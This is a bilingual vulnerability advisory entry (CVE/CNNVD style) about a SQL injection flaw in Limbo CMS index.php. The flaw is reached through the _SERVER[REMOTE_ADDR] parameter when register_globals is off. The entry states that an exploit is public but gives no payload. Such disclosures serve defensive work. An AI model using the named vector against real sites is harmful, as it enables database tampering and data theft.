[原文]SQL injection vulnerability in index.php in Limbo CMS and earlier, with register_globals off, allows remote attackers to execute arbitrary SQL commands via the _SERVER[REMOTE_ADDR] parameter, which modifies the underlying $_SERVER variable.

[CNNVD]Limbo CMS多个输入验证漏洞(CNNVD-200512-371)

        在register_globals off的情况下,Limbo CMS及更早版本的index.php中存在SQL注入漏洞,远程攻击者可以通过修改标的$_SERVER 变量的_SERVER[REMOTE_ADDR]参数执行任意SQL命令。

Limbo CMS index.php _SERVER[REMOTE_ADDR] Parameter SQL Injection
Remote / Network Access Information Disclosure, Input Manipulation
Loss of Confidentiality, Loss of Integrity
Exploit Public

- 漏洞描述

Limbo CMS contains a flaw that may allow a remote attacker to carry out an SQL injection attack. The issue is due to the 'index.php' script not properly sanitizing user-supplied input to the '_SERVER[REMOTE_ADDR]' variable. This may allow a remote attacker to inject or manipulate SQL queries in the back-end database.
